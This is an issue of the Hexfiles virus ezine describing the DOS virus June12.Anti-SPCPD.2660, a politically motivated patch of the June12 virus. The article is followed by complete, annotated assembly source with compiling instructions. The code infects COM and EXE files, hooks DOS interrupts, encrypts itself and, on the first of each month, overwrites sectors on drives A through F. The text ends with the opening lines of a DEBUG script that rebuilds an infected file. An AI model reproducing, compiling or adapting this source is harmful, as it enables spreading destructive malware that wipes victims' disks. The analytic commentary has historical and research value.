Copy Link
Add to Bookmark
Report

Hexfiles Issue 3 File 009

eZine's profile picture
Published in 
hexfiles
 · 2 months ago

  
HEX-FILES No. 3 File 009
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

Virus Name: June12.Anti-SPCPD.2660

Alias: Aderror.2660.B, Jerusalem-2673, Jerusalem.Mabuhay.2660,
June12, Mabuhay.2660.b, Xmar-2673, XMarks.2673, _2673



This is a patched variant of June12.Standard.2660. It was given a new
group name (Anti-SPCPD) because its behavior is different as compared
to the June12.Standard group.

I said it is a patched copy because the offsets of the original have
not changed although portions of the code was changed.

The new routines were certainly compiled and then patched to the old
virus. Other changes to the codes could have been changed with the
use of a sector editor or in DEBUG. It is very easy to do this as I
have also done this before (in 1993) to the Possessed virus. I might
show you what I did to Possessed some other time.

It could have also been disassembled using a code generator and then
recompiled. But this is not likely because the virus is encrypted.

But whatever supposition I present here, the deed has been done.

As the text in the virus says:

ANTI-Southern Phil. Council 4 Peace N' Development

might point that the author of this virus is from Mindanao and most
probably a Christian because he is against the establishment of the
Southern Philippines Council For Peace and Development. This agency
was established primarily as a concession during peace negotiations
with Muslim separatists in the southern Philippines, especifically,
Mindanao.

Because the author got so mad, he transformed June12 into a
destructive virus. Its payload is triggered on the first day of any
month. It displays the flag, overwrites the first six logical drives
and plays the national anthem. Texts from the original display had
been removed and changed with the text mentioned above. Although,
some of the original texts remains in the virus code, they are not
displayed. The dedication was changed to:

Dedicated to Manong Ramos

from the original:

Dedicated to Manong Eddie

but, as mentioned earlier, is not displayed.

If you look at the ShowTime check, you will see that the virus had
not been recompiled.

The changes made to June12.Standard.2660 are noted below.


ÄÄ J12SPCPD.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; *************************************************************************
; *WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*
; *WARNING*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*WARNING*
; *WARNING* *WARNING*
; *WARNING* VIRUS CONTAINS DESTRUCTIVE CODES *WARNING*
; *WARNING* *WARNING*
; *WARNING* VIRUS DOES INTENTIONAL DAMAGE *WARNING*
; *WARNING* *WARNING*
; *WARNING*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*WARNING*
; *WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*
; *************************************************************************
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Virus Name: June12.Anti-SPCPD.2660 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Author : Unknown ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Origin : Mindanao? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ To create a virus exactly like the one ÄÄ
;ÄÄÄÄÄ COMPILING ÄÄÄÄÄÄÄÄÄÄÄÄ found in the wild, TASM 2.01 or MASM 5.0 ÄÄ
;ÄÄÄÄÄ INSTRUCTION ÄÄÄÄÄÄÄÄÄÄÄÄ should be used. Other compilers might ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ create a new variant. ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Compile to EXE. ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Program listing created by Putoksa Kawayan ÄÄÄÄÄÄ HEX-FILES No 3 ÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

ExeHeader struc
ExeID dw ?
PageMod dw ?
PageCount dw ?
RelTab dw ?
HedSize dw ?
MinPara dw ?
MaxPara dw ?
SSeg dw ?
SPt dw ?
CxSum dw ?
CPt dw ?
CSeg dw ?
RelFrst dw ?
ExeHeader ends

June12 segment 'code'
assume cs:June12, ds:nothing

EndOfJune12 equ 964h
MemRelocate equ 3fch
Environment equ 2ch
June equ 6
_12th equ 12
BiosData equ 40h
MotorTimeOut equ BiosData
VideoPort equ 63h
TraceTrap equ ((offset NoTrace-offset AntiTrace)-2)
VirusStack equ (EndOfJune12+100h)-2
;
; virus entry point from an infected com program
;
June12Entry:
jmp ComEntry

db 1ah
ComLowLength dw ?
SavedPsp dw ?
ExecParam dw 0,80h,0,5ch,0,6ch,0
ExeSp dw ?
ExeSs dw ?
ExeHost label dword
ExeIp dw ?
ExeCs dw ?
SavedMem db 3 dup (?)
DosInterrupt dd ?
ComHost dd ?
FileHandle dw ?
MemAllocFlag db ?
CallerAsciiz dd ?
FileAttribute dw ?
FileTypeFlag db ?
ErrorInterrupt dd ?
FileDate dw ?
FileTime dw ?
HandlerActive db ?
ExeReadBuff db 28 dup (?)
EncryptFlag db ?
FileDatTimeFlag db ?
FileAttribFlag db ?
ExeHiLength dw ?
ExeLoLength dw ?
PageSize dw 512
ParagraphSize dw 16
MaskDataEnd db ?
Command db 'COMMAND.'
Com db 'COM'
Exe db 'EXE'

;------------------ Payload Data

Text1 db "ANTI-Southern Phil. Council 4 Peace N' Development"
FlagData dw 0220h,02dfh,2020h,-1
dw 0220h,012ah,0320h,02dfh,1c20h,-1
dw 0a20h,02dfh,1820h,-1
dw 0520h,015ch,01b3h,012fh,0620h,02dfh,1420h,-1
dw 0420h,01c4h,01c4h,010fh,01c4h,01c4h,0520h
dw 012ah,0320h,12dfh,-1
dw 0520h,012fh,01b3h,015ch,0620h,02dch,1420h,-1
dw 0a20h,02dch,1820h,-1
dw 0220h,012ah,0320h,02dch,1c20h,-1
dw 0220h,02dch,2020h,-1
FlagColor db 70h,74h,40h,70h,7eh,70h,74h,40h,70h,74h,40h,70h,7eh
db 7eh,7eh,70h,74h,40h,70h,7eh,7eh,7eh,7eh,7eh,70h,7eh
db 70h,14h,70h,7eh,7eh,7eh,70h,71h,10h,70h,71h,10h,70h
db 7eh,70h,71h,10h,70h,71h,10h

;' D e d i c a t e d t o M a n o n g R a m o s .'
;'M A B U H A Y A N G P I L I P I N A S ! '
Text2 db 'MDAeBdUiHcAaYt eAdN Gt oP IMLaInPoInNgA SR!a m o s .'

;------------------ National Anthem Data

Anthem01 dw offset Anthem05,offset Anthem05,offset Anthem04
dw offset Anthem04,offset Anthem06,offset Anthem03
dw offset Anthem06,offset Anthem03
Anthem02 dw offset Anthem09,offset Anthem09,offset Anthem08
dw offset Anthem08,offset Anthem10,offset Anthem07
dw offset Anthem11,offset Anthem07
Anthem03 dw 0d5bh,0e21h,0be4h,0d5bh,11cah,0be4h,0a98h,0a00h
dw 0a98h,0be4h,0a98h,0d5bh,0d5bh,0e21h,0be4h,0d5bh
dw 11cah,0be4h,0a98h,0a00h,0a98h,0be4h,002ch
Anthem04 dw 0d5bh,0e21h,0d5bh,0be4h,0be4h,11cah,11cah,0be4h
dw 0be4h,11cah,11cah,0a98h,096fh,08e9h,07f1h,08e9h
dw 0d5bh,0e21h,0d5bh,0be4h,0be4h,11cah,11cah,0be4h
dw 0be4h,11cah,11cah,0a98h,0a00h,0a98h,0be4h,0a98h
dw 0be4h,0d5bh,002ch
Anthem05 dw 0d5bh,0fdah,0d5bh,0a00h,0a00h,08e9h,08e9h,07f1h
dw 08e9h,0a00h,08e9h,07f1h,077eh,07f1h,08e9h,07f1h
dw 0a00h,08e9h,0a98h,0a98h,0a00h,002ch
Anthem06 dw 0d5bh,002ch
Anthem07 db 12,9,3,12,12,4,4,4,9,3,12,12,12,9,3,12,12,4,4,4,9,3
Anthem08 db 4,4,4,9,3,9,3,9,3,9,3,9,3,9,3,12,4,4,4,9,3,9,3,9
db 3,9,3,4,4,4,4,4,4,12
Anthem09 db 4,4,4,12,12,12,12,9,3,9,3,12,4,4,4,12,12,12,9,3,36
Anthem10 db 12
Anthem11 db 24
XorOperand db 9ch
;
; int 24 handler
;
isErr:
xor al,al
iret

MaskData:
push si ;swap position of si
push bx ;changed ax to bx
pushf
mov si,offset XorOperand
mov bl,cs:[si]
MaskDataLoop:
xor cs:[si-1],bl
dec si
cmp si,(MaskDataEnd-June12Entry)
jne MaskDataLoop
popf
pop bx
pop si
ret
;
; payload trigger determinant
; payload is released on June 12 of any year on 21/4b00
;
isTheDay:
push dx ;swap sequence of pushed regs
push cx ; from ax bx cx dx di si es ds
push bx
push ax
push si
push di
push ds
push es
mov ah,2ah
int 21h
cmp dl,13 ; changed from cmp dh,6
jbe $+2 ; changed to no jump
cmp dl,1 ; changed from cmp dl,12
jne isNot
call ShowPayload
isNot:
pop es ; as the push had been changed
pop ds ; this naturally follows
pop di
pop si
pop ax
pop bx
pop cx
pop dx
ret
;
; encrypts/decrypts int 21 handler
; the int 21 handler is divided into blocks
;
MaskHandler:
push si
pushf
mov si,offset MaskHandler1
MaskHandlerLoop1:
not byte ptr cs:[si]
inc si
cmp si,offset MaskHandler2
jne MaskHandlerLoop1
mov si,offset MaskHandler4-1 ; he reversed the direction of
MaskHandlerLoop2: ; the encryption
not byte ptr cs:[si]
dec si ; chnaged from inc si
cmp si,offset MaskHandler3-1
jne MaskHandlerLoop2
mov si,offset MaskHandler5 ; but he retained this
MaskHandlerLoop3: ; an AV must be using this as
not byte ptr cs:[si] ; signature?????
inc si
cmp si,offset MaskHandler6
jne MaskHandlerLoop3
popf
pop si
ret
;
; main entry point for the virus from an infected com program
;
ComEntry:
pop es
mov ah,0efh
int 21h
cmp ah,0eeh ; changed from cmp ah,0ef
ja ComNotResident
cmp ax,25bh
jne ComNotResident
mov si,10bh ; swap position of si, di and ah
mov di,100h
mov ah,0ffh
push es
pop ds
mov cx,ds:ComLowLength
int 21h
ComNotResident:
mov ax,cs
mov ss,ax
mov sp,VirusStack-2
;
; entry point for the virus from an infected exe program
;
ExeEntry:
cld
sub word ptr cs:AntiTrace+1,4 ;changed from
AntiTrace: ; sub byte ptr cs:AntiTrace+1,5
jmp short NoTrace
mov ah,4ch ; changed from mov ax,4c00
int 21h
NoTrace:
cmp ss:EncryptFlag,0 ; changed segment override from cs:
nop ; this covers the switch to 8-bit mov
jbe Init ; changed from je Init
push ax ;////
pop ax ;\\\\and this covers for the jmp $+2
call MaskInit
Init:
push es
mov SavedPsp,es
mov ExecParam+4,es
mov ExecParam+8,es
mov ExecParam+12,es
mov ax,es
add ax,16
add ExeCs,ax
add ExeSs,ax
mov ah,0efh
add byte ptr AntiTrace+1,TraceTrap
int 21h
cmp ah,0efh
jnb NotResident
pop es
mov ss,ExeSs
mov sp,ExeSp
jmp ExeHost
;
; prepare to move virus code to PSP:100
; virus places the code to move the virus from the end of the file at
; 0:3fc the original content of which is saved and subsequently restored
;
NotResident:
xor ax,ax
mov es,ax
mov ax,es:MemRelocate
mov word ptr SavedMem,ax
mov al,byte ptr es:MemRelocate+2
mov SavedMem+2,al
mov word ptr es:MemRelocate,0a5f3h
mov byte ptr es:MemRelocate+2,0cbh
pop ax
add ax,16
mov es,ax
push cs
pop ds
mov cx,EndOfJune12+100h
shr cx,1
xor si,si
mov di,si
push es
mov ax,offset ContinueInit
push ax
db 0eah
dw MemRelocate,0
;
; routine executed after the virus had been moved to PSP:100
; it hooks int 21, executes the host program, and goes memory resident
;
ContinueInit:
mov ax,cs
mov ss,ax
mov sp,((EndOfJune12/100h)+3)*100h
xor ax,ax
mov ds,ax
mov ax,word ptr SavedMem
mov ds:MemRelocate,ax
mov al,SavedMem+2
mov byte ptr ds:MemRelocate+2,al
mov bx,sp
mov cl,4
shr bx,cl
add bx,32
mov ah,4ah
mov es,SavedPsp
int 21h
mov ax,3521h
int 21h
mov word ptr DosInterrupt,bx
mov word ptr DosInterrupt+2,es

assume cs:June12, ds:June12

push cs
pop ds
mov dx,offset isDos
mov ax,2521h
int 21h
mov es,SavedPsp
mov es,es:Environment
xor di,di
mov cx,7fffh
xor al,al
FindFilename:
repne scasb
cmp es:[di],al
loopne FindFilename
mov dx,di
add dx,3

assume cs:June12, ds:nothing

xor al,al
mov HandlerActive,al
mov ax,4b00h
push es
pop ds
push cs
pop es
mov bx,offset ExecParam
pushf
call DosInterrupt
push ds
pop es
mov ah,49h
int 21h
mov ah,4dh
int 21h
MaskInitEnd:
cmp EncryptFlag,0
jne InitMasked
call MaskInit
InitMasked:
mov ah,31h
mov dx,EndOfJune12
mov cl,4
shr dx,cl
add dx,17
int 21h
;
; int 21 handler of the virus
; infects on 4b00 (EXEC) and 3d00 (file open read)
;
isDos:
pushf
cmp ah,0efh
jne CheckRestoreHostCom
mov ax,25bh
popf
iret

CheckRestoreHostCom:
cmp ah,0ffh
je RestoreHostCom
cmp ax,4b00h
jne CheckOpenFile
jmp short SetUpForInfection
CheckOpenFile:
cmp HandlerActive,0
jne ExitRelay01
cmp ah,3dh
je CheckOpenFileMode
ExitRelay01:
jmp PassToDos

RestoreHostCom:
pop ax
pop ax
mov ax,100h
mov word ptr ComHost,ax
pop ax
mov ax,es
mov word ptr ComHost+2,ax
repe movsb
popf
xor ax,ax
jmp ComHost

CheckOpenFileMode:
test al,7
jnz ExitRelay01
SetUpForInfection:
inc HandlerActive
mov FileHandle,-1
mov MemAllocFlag,0
mov word ptr CallerAsciiz,dx
mov word ptr CallerAsciiz+2,ds
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
cld
push ds
push dx

assume cs:June12, ds:June12

push cs
pop ds
mov ax,3524h
int 21h
mov word ptr ErrorInterrupt,bx
mov word ptr ErrorInterrupt+2,es
mov dx,offset isErr
mov ax,2524h
int 21h

assume cs:June12, ds:nothing

pop dx
pop ds
call MaskData
call MaskHandler
MaskHandler1:
mov di,dx
xor dl,dl
cmp byte ptr [di+01],':'
jne UseDefaultDrive
mov dl,[di]
and dl,1fh
UseDefaultDrive:
mov ah,36h
int 21h
cmp ax,-1
jne DetermineFreeSpace
ExitRelay02:
jmp RestoreErrorInterrupt
DetermineFreeSpace:
mul bx
mul cx
or dx,dx
jnz EnoughDiskSpace
cmp ax,EndOfJune12+100h
jb ExitRelay02
EnoughDiskSpace:
mov dx,word ptr CallerAsciiz
push ds
pop es
xor al,al
mov cx,41
repne scasb
mov si,word ptr CallerAsciiz
GetNextCharOfAsciiz:
mov al,[si]
or al,al
jz EndOfAsciiz
cmp al,'a'
jb NextCharOfAsciiz
cmp al,'z'
ja NextCharOfAsciiz
sub byte ptr [si],20h
NextCharOfAsciiz:
inc si
jmp GetNextCharOfAsciiz
EndOfAsciiz:
push cs
pop es
push si
mov cx,3
sub si,cx
mov di,offset Com
xor al,al
mov FileTypeFlag,al
repe cmpsb
pop si
jne CheckIfExe
jmp short CheckIfCommand
CheckIfExe:
inc FileTypeFlag
push si
mov cx,3
sub si,cx
mov di,offset Exe
repe cmpsb
pop si
je CheckIfCommand
jmp RestoreErrorInterrupt
CheckIfCommand:
mov cx,11
sub si,cx
mov di,offset Command
repe cmpsb
jne PrepareToInfect
jmp RestoreErrorInterrupt
PrepareToInfect:
mov ax,4300h
int 21h
jc ExitRelay03
mov FileAttribute,cx
ExitRelay03:
jc ExitRelay04
mov ax,3d00h
int 21h
ExitRelay04:
jc ExitRelay05
mov FileHandle,ax
mov ah,48h
mov bx,3
int 21h
ExitRelay05:
jc ExitRelay06
inc MemAllocFlag
mov bx,FileHandle
mov ds,ax
mov cx,-1
mov dx,((EndOfJune12+100h)-(offset isErr-offset June12Entry))
neg dx
mov ax,4202h
int 21h
ExitRelay06:
jc ExitRelay07
add ax,((EndOfJune12+100h)-(offset isErr-offset June12Entry))
mov ComLowLength,ax
mov cx,48
xor dx,dx
mov si,dx
mov ah,3fh
int 21h
ExitRelay07:
jc ExitRelay08
mov cx,48
mov di,offset isErr
push cs
pop es
repe cmpsb
push ds
pop es
jne NotInfected
mov ah,3eh
int 21h
jmp RestoreErrorInterrupt
NotInfected:
mov ah,49h
int 21h
ExitRelay08:
jc ExitRelay09
dec MemAllocFlag
lds dx,CallerAsciiz
xor cx,cx
mov ax,4301h
int 21h
ExitRelay09:
jc ExitRelay10
inc FileAttribFlag
mov bx,FileHandle
mov ah,3eh
int 21h
mov word ptr FileHandle,-1
mov ax,3d02h
int 21h
ExitRelay10:
jc ExitRelay11
mov FileHandle,ax

assume cs:June12, ds:June12

mov ax,cs
mov ds,ax
mov es,ax
mov bx,FileHandle
mov ax,5700h
int 21h
mov FileDate,dx
mov FileTime,cx
inc cs:FileDatTimeFlag
xor cx,cx
mov dx,cx
mov ax,4200h
int 21h
ExitRelay11:
jc ExitRelay12
cmp FileTypeFlag,0
je isCom
jmp isExe
;
; routine to infect com programs
; the host program is sandwiched between the virus relocator and the
; main virus code.
;
isCom:
mov bx,1000h
mov ah,48h
int 21h
jnc CopyVirusJumper
mov ah,3eh
mov bx,FileHandle
int 21h
jmp RestoreErrorInterrupt
CopyVirusJumper:
inc MemAllocFlag
mov es,ax
xor di,di
mov si,offset VirusJumper
mov cx,(offset MaskInit-offset VirusJumper)
repe movsb
mov ax,ComLowLength
add ax,(offset MaskInit-offset VirusJumper)
mov cx,ax
and ax,0fff0h
add ax,16
sub cx,ax
neg cx
xchg bp,cx
mov cl,4
shr ax,cl
add ax,16
mov word ptr es:[(VxSeg-VirusJumper)+1],ax
mov dx,di
mov cx,ComLowLength
mov bx,FileHandle
push ds
push es
pop ds
mov ah,3fh
int 21h
pop ds
ExitRelay12:
jc ExitRelay13
add di,cx
xchg bp,cx
xor al,al
repe stosb
xor si,si
mov cx,EndOfJune12+100h
MaskHandler2:
call MaskHandler
call MaskData
repe movsb
call MaskData
call MaskHandler
MaskHandler3:
push es
pop ds
add di,cx
xor cx,cx
mov dx,cx
mov ax,4200h
int 21h
mov cx,di
xor dx,dx
mov ah,40h
int 21h
ExitRelay13:
jc ExitRelay14
jmp PrepareToExit
;
; routine to infect exe programs
; the virus is appended to exe programs.
;
isExe:
mov cx,28
mov dx,offset ExeReadBuff
mov ah,3fh
int 21h
ExitRelay14:
jc ExitRelay15
mov ax,[ExeReadBuff].SSeg
mov ExeSs,ax
mov ax,[ExeReadBuff].SPt
mov ExeSp,ax
mov ax,[ExeReadBuff].CPt
mov ExeIp,ax
mov ax,[ExeReadBuff].CSeg
mov ExeCs,ax
mov ax,[ExeReadBuff].PageCount
cmp word ptr [ExeReadBuff].PageMod,0
je PageAligned
dec ax
PageAligned:
mul PageSize
add ax,[ExeReadBuff].PageMod
adc dx,0
add ax,15
adc dx,0
and ax,0fff0h
mov ExeLoLength,ax
mov ExeHiLength,dx
add ax,EndOfJune12+100h
adc dx,0
ExitRelay15:
jc ExitRelay16
div PageSize
or dx,dx
jz AlignedToPage
inc ax
AlignedToPage:
mov [ExeReadBuff].PageCount,ax
mov [ExeReadBuff].PageMod,dx
mov ax,ExeLoLength
mov dx,ExeHiLength
div ParagraphSize
sub ax,[ExeReadBuff].HedSize
mov [ExeReadBuff].CSeg,ax
mov [ExeReadBuff].CPt,offset ExeEntry
mov [ExeReadBuff].SSeg,ax
mov [ExeReadBuff].SPt,VirusStack-2
xor cx,cx
mov dx,cx
mov ax,4200h
int 21h
ExitRelay16:
jc ExitRelay17
mov cx,28
mov dx,offset ExeReadBuff
mov ah,40h
int 21h
ExitRelay17:
jc ExitRelay18
cmp ax,cx
jne PrepareToExit
mov dx,ExeLoLength
mov cx,ExeHiLength
mov ax,4200h
int 21h
ExitRelay18:
jc PrepareToExit
xor dx,dx
mov cx,EndOfJune12+100h
mov ah,40h
call MaskData
MaskHandler4:
call MaskHandler
int 21h
call MaskHandler
MaskHandler5:
call MaskData

assume cs:June12, ds:nothing

PrepareToExit:
cmp word ptr FileHandle,-1
je RestoreErrorInterrupt
cmp FileDatTimeFlag,0
je NoDateTimeChange
mov bx,FileHandle
mov dx,FileDate
mov cx,FileTime
mov ax,5701h
int 21h
NoDateTimeChange:
mov ah,3eh
int 21h
cmp FileAttribFlag,0
je RestoreErrorInterrupt
lds dx,CallerAsciiz
mov cx,FileAttribute
mov ax,4301h
int 21h
RestoreErrorInterrupt:
lds dx,ErrorInterrupt
mov ax,2524h
int 21h
cmp MemAllocFlag,0
je NoMemAllocated
mov ah,49h
int 21h
NoMemAllocated:
call MaskData
MaskHandler6:
call MaskHandler
xor al,al
mov HandlerActive,al
mov bp,sp
mov ax,[bp+16]
cmp ax,4b00h
jne NotExec
call isTheDay
NotExec:
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
PassToDos:
popf
jmp DosInterrupt
;
; virus relocator. this resets the segment where the virus will be executed
;
VirusJumper:
push ss ; changed from push cs
mov ax,ss ; changed from mov ax,cs
VxSeg:add ax,'PK'
push ax
xor ax,ax
push ax
retf
;
; encrypts/decrypts virus initialization routine
;
MaskInit:
push si
mov si,offset MaskInitEnd-1 ; reversed the the direction
MaskInitLoop: ; of the encryption
not byte ptr cs:[si]
dec si
cmp si,offset Init-1
ja MaskInitLoop
xor EncryptFlag,07
pop si
ret
;
; display of payload routines.
; payload is display of the Philippine flag and text, and playing of the
; hilippine national anthem -- "Lupang Hinirang". It also overwrites disks.
;
ClearScreen:
mov ax,719h
mov cx,0
mov dx,184fh
mov bh,7
int 10h
ret
;
; draws the flag of the Philippines
;
DrawFlag:
push cx
mov cl,ah
xor ch,ch
mov ah,9
int 10h
pop cx
ret

WriteText:
mov ah,2
int 10h
xchg cx,bp
mov al,[di]
mov ah,9
int 10h
inc dl
add di,2
xchg cx,bp
loop WriteText
ret

assume cs:June12, ds:June12
;
; main routine to execute payload
;
ShowPayload:
mov al,3 ; removed check for graphic adapter
mov ah,0 ; defaults to color
int 10h
push cs
pop ds
mov ah,3
xor bh,bh
int 10h
push cx
mov ah,1
mov cx,201h
int 10h
call MaskData
sti
mov si,offset Text1
mov dx,210h
xor bh,bh
mov bl,0fh
mov ah,2
int 10h
mov cx,50
mov bp,1
NextChar:
lodsb
mov ah,9
xchg cx,bp
int 10h
xchg cx,bp
inc dl
mov ah,2
int 10h
loop NextChar
xor bh,bh
mov dx,416h
mov si,offset FlagData
mov di,offset FlagColor
mov cx,9
MoveCursor:
mov ah,02
int 10h
mov ah,02
int 10h
lodsw
cmp al,-1
je DrawNextRow
add dl,ah
mov bl,[di]
call DrawFlag
inc di
jmp MoveCursor
DrawNextRow:
inc dh
mov dl,22
loop MoveCursor
mov ah,0dh
int 21h
;
; The routine to display the text below the flag was replaced with
; the routine to overwrite disks.
;
mov al,0 ; Start with drive A:

NextFloppy:
push ax
mov cx,100h ; 256 sectors starting from...
mov dx,0 ; ...logical sector 0 = boot sector
int 26h ; do the write
popf ; retrieve flags
pop ax
inc al ; next drive
cmp al,2
jb NextFloppy ; are we finished with drive B:?
mov al,2 ; start at drive C:
NextPartition:
push ax
mov cx,-1 ; use extended format for logical
mov dx,0 ; drives more than 32 meg
int 26h
popf ; dont care about parameter block?
pop ax
push ax
mov cx,-1 ; do again
mov dx,-1 ; what is this for????
int 26h
popf ; I doubt it if this would work!!!!
pop ax
inc al
cmp al,5
jbe NextPartition ; have we finished with C:,D:,E:,F:?
;
; then it is time to be nationalistic -- play the anthem
;
mov bx,0c350h
mov al,bl
out 40h,al
mov al,bh
out 40h,al
in al,61h
push ax
mov cx,8
NextNote:
mov di,cx
dec di
shl di,1
mov si,[di+offset Anthem01]
mov di,[di+offset Anthem02]
push cx
call MusicPlayer
pop cx
loop NextNote
pop ax
out 61h,al
xor al,al
out 40h,al
out 40h,al
mov ax,BiosData
mov ds,ax
mov di,MotorTimeOut
mov byte ptr [di],1
xor bh,bh
xor dx,dx
mov ah,2
int 10h
cli
call MaskData
call ClearScreen
pop cx
mov ah,1
int 10h
ret
;
; routine to play the national anthem
;
MusicPlayer:
mov bx,[si]
mov al,0b6h
out 43h,al
mov ax,bx
out 42h,al
xchg ah,al
out 42h,al
in al,61h
or al,3
out 61h,al
mov cl,[di]
push ds
push si
mov ax,BiosData
mov ds,ax
mov si,MotorTimeOut
mov [si],cl
HoldTheNote:
cmp byte ptr [si],0
jne HoldTheNote
pop si
pop ds
add si,2
inc di
cmp byte ptr [si],2ch
jne MusicPlayer
ret
;
;
;
;
; this is my first generation routine
; this loads the virus to memory
;
;
;
;
FirstGeneration:
mov ax,cs
mov ss,ax
mov sp,VirusStack
mov ds,ax
mov ah,0efh
int 21h
cmp ax,25bh
jne Pers2
call Pers1
call Pers1
call Pers1
mov ax,4cffh
int 21h
align 2
Pers1:mov ax,0e07h
xor bx,bx
int 10h
ret
align 2
Pers2:call MaskData
call MaskInit
call MaskHandler
mov ax,es:Environment
mov es,ax
mov ah,49h
int 21h
mov ax,3521h
int 21h
mov word ptr DosInterrupt,bx
mov word ptr DosInterrupt+2,es
mov dx,offset isDos
mov ax,2521h
int 21h
call Pers1
mov ax,3100h
mov dx,(EndOfJune12/16)+17
int 21h

June12 ends

end FirstGeneration


ÄÄ J12SPCPD.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ



The following debug script contains a file infected by a virus
compiled from the above program listing using TASM 2.01.

MASM 5.0 would also produce a similar virus.


ÄÄ J12SPCPD.SCR STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

N J12SPCPD.COM
E 0100 16 8C D0 05 30 00 50 33 C0 50 CB E9 D5 01 0D 20
E 0110 20 20 0D 0A 4D 61 62 75 68 61 79 21 0D 0A 0A 54
E 0120 68 69 73 20 69 73 20 4A 75 6E 65 31 32 2E 41 6E
E 0130 74 69 53 50 43 50 44 2E 32 36 36 30 20 76 69 72
E 0140 75 73 20 63 6F 6D 69 6E 67 20 74 6F 20 79 6F 75
E 0150 20 66 72 6F 6D 20 74 68 65 20 50 68 69 6C 69 70
E 0160 70 69 6E 65 73 2E 0D 0A 42 72 6F 75 67 68 74 20
E 0170 74 6F 20 79 6F 75 20 6C 69 76 65 20 62 79 20 48
E 0180 45 58 2D 46 49 4C 45 53 20 4E 6F 2E 20 33 0D 0A
E 0190 0A 48 45 58 2D 46 49 4C 45 53 20 61 6E 64 20 50
E 01A0 75 74 6F 6B 73 61 20 4B 61 77 61 79 61 6E 20 61
E 01B0 72 65 20 6E 6F 74 20 72 65 73 70 6F 6E 73 69 62
